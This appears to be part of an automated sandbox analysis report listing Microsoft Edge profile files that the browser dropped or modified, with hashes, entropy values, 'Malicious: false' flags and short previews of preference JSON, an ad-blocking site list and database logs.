SHA-512:	893AB541E05772F6B42EBBE82DAF9096C2DD9414A8C01EC8F7DC104712BCA60F7F248F11F12DF86893A16E98491AF27B50D4593E40EEF8BD0A813B7FB9666175
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376876797342778","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"a6897b40-c195-4000-974d-54564044987f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732403201"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9142c434-760d-4685-9d30-0f9da89829bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.095566071471665
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWm3i1zNtcWNkZdEiN+0RakAKJDSgzMMd6qD47u3+CO:+/Ps+wsI7yn+NgH2KtSmd6qE7lFoC
MD5:	0832DD9300195F06FA312D707BB2AF6B
SHA1:	211DF34509E0FE8FE30BDAD238A8E8538D906610
SHA-256:	F2F8089A4DF1E5A106ABD818CE5C603C1D22EA66BC57AD6876F271901CF8885B
SHA-512:	55CDD3E28C015538A5CC7F63FE9F8C2424724F60F2ADECFA613A1CFBD83A9E9CCEFD01A655B57AA6455AE94D4FF7EDA3E75323FAE6AC91743096B24B3DD3A1A9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\12134a2c-e936-4beb-a2c6-62dc13c51267.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\18f529d1-c832-4555-811b-70a353230470.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1f53a7b7-bed3-43f6-b874-c93db535f301.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.110620808011421
Encrypted:	false
SSDEEP:	192:stJkdpSsgdxaFvrE9kvse8SbV+FQBQAkUqPmYJ:stJQSskxCDjbGCQGQ
MD5:	79D7361D2BA152E027C2AEB68C3284F4
SHA1:	31B6997641441B6729170A3684C01D2BE303B799
SHA-256:	29117A291C2162E3B0C7A467D2134BC54F6C3DE09CF7F2EB379C042A4625B299
SHA-512:	8B24741A64A3D837A70D2E88783F9DC9E9C41FAFF640AA59ED76A095715FA5DCE4E61B5204849D2A2BC2F3EF436EBCA02F0BEED7EEDAB9E6556966D618DA6432
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\262f0dcd-c3d0-4905-b16e-185fe1d6b1ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17577), with no line terminators
Category:	dropped
Size (bytes):	17577
Entropy (8bit):	5.476858380493653
Encrypted:	false
SSDEEP:	384:stJPGQSu4SskxCD56895QqBpur1cO8bGCQwo3Q:srOXupxCY5r1cJbGx1Q
MD5:	6E3A5212BF0740E14DB90E1AB575AAD1
SHA1:	836B44A544074D0621C41571B846D9138E8CF631
SHA-256:	B9D68B0AB21E2FA4238D4E2763815EA21D6602FA0686FF6C68EE8A928C95AB6F
SHA-512:	4723C5013E93045E2A332D4B5A864CDF78A66B416D95DDEE7FB096149221224E2A2A664D21D000F498F3DF177143EFA15AD3A7A16AC090FB46958C007F1C9064
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\550ed3a5-5167-444a-b4f9-daf2698457f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17577), with no line terminators
Category:	dropped
Size (bytes):	17577
Entropy (8bit):	5.4768420026146245
Encrypted:	false
SSDEEP:	384:stJPGQSu4SskxCD56895QqBpur1cO8bGCQwh3Q:srOXupxCY5r1cJbGxyQ
MD5:	FAA8708944B59F3B62AC99BC5E96385B
SHA1:	3E6AE8B947DB1598E6BA893AF605EDDA0AD7E1D2
SHA-256:	36CC08D40AA5CE6E52E7F2EB46EEF2FB515EB1B79031A2F4EECA5CEEC5602DDC
SHA-512:	2A72D97FD8AB4FC054A29579E63C149B6B8303FA586CC895D5AB22A05E3A986DD3126C0E99E3F66300EF563D2B2383CD5DCE11C18F9E9873A2DBD12559C81587
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5f4f6a08-298b-4520-8dde-617f97c3f983.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (16819), with no line terminators
Category:	dropped
Size (bytes):	16819
Entropy (8bit):	5.4428511088023654
Encrypted:	false
SSDEEP:	384:stJPGQSu4SskxCDo5QqBpur1cO8bGCQw2Q:srOXupxC1r1cJbGxDQ
MD5:	1E5CA1CD823A468EC92ACCAC6E0B9523
SHA1:	D7FC89550E16FB4A9AAAF20B42069C6CFD0176C2
SHA-256:	FBF31925681A0FFE88BEF46D68A728424956D4317FAABCC0EFEB160255FA161D
SHA-512:	D1DDADA5ACE0E7509F3C5E56499ADF0A5938930AE673E08B5ABD27A962E82CC02AE7DCA2DACF9BC129475E8BDE5772E742BB96AC731C879F23C4822A3528D8EB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6a4e4da9-0988-4f6e-b15a-4a5c6a0e8148.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.555090145586562
Encrypted:	false
SSDEEP:	768:3zj06HW7R7pLGLPlrW5w+If41v8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPlqIcBcVH:3vPH0HcPlrWa+IfGvu1jaEsme05HyftG
MD5:	771C62DB225650936683FFC61EE811FA
SHA1:	C784A3FAEE71508577149F77145E7311B33AA10C
SHA-256:	8612138A9B234BDE9350B2EAC265E9BC0E6E380B1569A84C2DACA03B4EE1475F
SHA-512:	2C19064D53671FFD266EFD51B9509CA812F6176CF7C4126D90082A99971325DC70B910A7BA274777D14CED4EDB5762B77472760478B11F7944DD0157623F161E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376876796655368","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376876796655368","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\93c697a3-b78c-4172-b51d-31f9f4235950.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558107812331288
Encrypted:	false
SSDEEP:	768:3zy0EHWxR7pLGLPOrW5w+If4Mv8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqqIcBPV4:3exHKHcPOrWa+IfBvu1jaXsNect4
MD5:	7F66EF3E6DDA71E6C204041F8C40EE70
SHA1:	836E792C045EDF7E69882E4163D706D267C73F9D
SHA-256:	9FC179DC4B6093360A793357980471AD3534BB145A1E8DF3D99D031175E8BBE3
SHA-512:	0544184CBEBD6C7859E3E9B1AB8D82A639506E7261F11BFDA140A5D548FDADA79FC39AE3B7DAE3AB76DB48388DF0594C5B1315168122B68247DD105FA1CD246E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376876796655368","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376876796655368","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222885453816519
Encrypted:	false
SSDEEP:	24576:IbPMZpVefI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVefx2mjF
MD5:	08A60DFE7D70EA2FC4140C6DB92850A8
SHA1:	9D9E300132146EAB18D275C9F28E1C4437771BD8
SHA-256:	E68622E0690D30E43DEC582E257FBF64D33EE977E8853B4FEE0CE17AB11B69DE
SHA-512:	DD2D32E062E1454C9CEC4933A4C38C91C0824006A77FF651E7A88A2CBE04196C89B55A7EA9A12825BB525FEE02315BC732F7D410B9B2B3BDA49FAF25DE93F813
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.078895702499207
Encrypted:	false
SSDEEP:	6:HGzBYUStFyq2PN723oH+Tcwt9Eh1tIFUt8YGzBYU/11Zmw+YGzBYUZlRkwON723A:CYU9vVaYeb9Eh16FUt8LYU/11/+LYU5W
MD5:	61E299B3D9F5AEC4D5FF22EB058B9994
SHA1:	9A051027B3182E512DDE384ADFA673B153216F4A
SHA-256:	D13F7E81D8941D315964F3874D54758309BA7193374BA5CD992B138CE3B5A43A
SHA-512:	35FEA14CF221018845094E656DB84EF08B0CFE24E51AA87F5433A25D8E4B5115F93BE48250B5FB38834A35083D8E4438D354B824C3384D937ACD0BC4ADF79B35
Malicious:	false
Preview:	2024/11/23-18:06:41.130 2314 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-18:06:41.140 2314 Recovering log #3.2024/11/23-18:06:41.144 2314 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

